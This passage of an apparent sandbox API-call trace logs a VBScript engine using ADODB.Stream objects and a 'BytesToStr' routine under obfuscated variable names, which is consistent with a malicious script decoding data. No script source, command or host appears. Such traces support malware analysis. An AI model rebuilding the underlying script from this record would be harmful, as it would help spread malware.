(param_1=0x0) returned 0x0 [0088.935] CoGetClassObject (in: rclsid=0x154554*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154544 | out: ppv=0x154544*=0x962b2d0) returned 0x0 [0088.935] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154540 | out: ppvObject=0x154540*=0x0) returned 0x80004002 [0088.935] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154548 | out: ppvObject=0x154548*=0x962bad0) returned 0x0 [0088.935] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0088.935] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x15450c | out: ppvObject=0x15450c*=0x962bb00) returned 0x0 [0088.935] ??2@YAPAXI@Z () returned 0x1112bf0 [0088.936] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112bf0) returned 0x0 [0088.936] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x0) returned 0x80004002 [0088.936] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154444 | out: ppvObject=0x154444*=0x0) returned 0x80004002 [0088.936] DOMDocument:IUnknown:AddRef (This=0x1112bf0) returned 0x2 [0088.936] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a4 | out: ppvObject=0x1544a4*=0x0) returned 0x80004002 [0088.936] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x1112bf0) returned 0x0 [0088.936] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1544c8 | out: ppvObject=0x1544c8*=0x0) returned 0x80004002 [0088.936] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15447c | out: ppvObject=0x15447c*=0x83fd368) returned 0x0 [0088.936] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154478 | out: ppvObject=0x154478*=0x83fd378) returned 0x0 [0088.936] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1544c8 | out: ppvObject=0x1544c8*=0x0) returned 0x80004002 [0088.936] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.936] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.936] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0088.936] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1544a8 | out: ppvObject=0x1544a8*=0x1112bf0) returned 0x0 [0088.936] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x15449c | out: ppvObject=0x15449c*=0x0) returned 0x80004002 [0088.936] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154474 | out: ppvObject=0x154474*=0x83fd368) returned 0x0 [0088.936] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154470 | out: ppvObject=0x154470*=0x83fd378) returned 0x0 [0088.936] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x15449c | out: ppvObject=0x15449c*=0x0) returned 0x80004002 [0088.936] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.936] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.937] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0088.937] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0088.937] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544fc | out: ppvObject=0x1544fc*=0x962bad0) returned 0x0 [0088.937] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0088.937] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0088.937] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.937] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.937] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x0 [0088.937] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.937] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.938] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.938] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.938] GetCurrentThreadId () returned 0xd44 [0088.938] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.938] ??2@YAPAXI@Z () returned 0x86bff10 [0088.938] malloc (_Size=0x804) returned 0x83fc220 [0088.938] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.938] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.938] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.938] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0088.938] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.938] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.939] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.939] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.939] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.939] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.939] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.939] GetCurrentThreadId () returned 0xd44 [0088.939] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.939] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.940] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.940] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.940] GetCurrentThreadId () returned 0xd44 [0088.940] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.940] ??2@YAPAXI@Z () returned 0x86bff10 [0088.940] malloc (_Size=0x804) returned 0x83fc220 [0088.940] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.940] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.940] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.940] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=10) returned 0x0 [0088.940] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.940] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.941] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.941] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.941] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.941] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.941] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.941] GetCurrentThreadId () returned 0xd44 [0088.941] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.941] malloc (_Size=0x404) returned 0x86ea2e0 [0088.942] ??2@YAPAXI@Z () returned 0x86bff10 [0088.942] malloc (_Size=0x804) returned 0x83fc220 [0088.942] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.943] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.943] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0088.943] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.943] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="write", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=13) returned 0x0 [0088.943] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.943] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.945] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66b8*(varType=0x400c, wReserved1=0x63, wReserved2=0x49, wReserved3=0x69, varVal1=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b93230*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x6f0000)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66b8*(varType=0x400c, wReserved1=0x63, wReserved2=0x49, wReserved3=0x69, varVal1=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b93230*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x6f0000)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.945] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.945] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.945] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.945] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.945] GetCurrentThreadId () returned 0xd44 [0088.945] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.945] ??2@YAPAXI@Z () returned 0x86bff10 [0088.945] malloc (_Size=0x804) returned 0x83fc220 [0088.946] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.946] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.946] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.946] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=3) returned 0x0 [0088.946] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.946] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.946] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.946] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.946] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d0 | out: ppvObject=0x1548d0*=0x0) returned 0x80004002 [0088.947] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1548d4*="Type", cNames=0x1, lcid=0x409, rgDispId=0x1548ec | out: rgDispId=0x1548ec*=4) returned 0x0 [0088.947] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.947] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d8 | out: ppvObject=0x1548d8*=0x0) returned 0x80004002 [0088.947] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1548a4*(rgvarg=([0]=0x83d66f8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880, puArgErr=0x1548c4 | out: pDispParams=0x1548a4*(rgvarg=([0]=0x83d66f8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1548c4*=0x962bad0) returned 0x0 [0088.947] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.947] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d0 | out: ppvObject=0x1548d0*=0x0) returned 0x80004002 [0088.947] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1548d4*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x1548ec | out: rgDispId=0x1548ec*=8) returned 0x0 [0088.947] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.947] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d8 | out: ppvObject=0x1548d8*=0x0) returned 0x80004002 [0088.947] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1548a4*(rgvarg=([0]=0x1547e0*(varType=0x8, wReserved1=0x15, wReserved2=0x6768, wReserved3=0x83d, varVal1="utf-8", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880, puArgErr=0x1548c4 | out: pDispParams=0x1548a4*(rgvarg=([0]=0x1547e0*(varType=0x8, wReserved1=0x15, 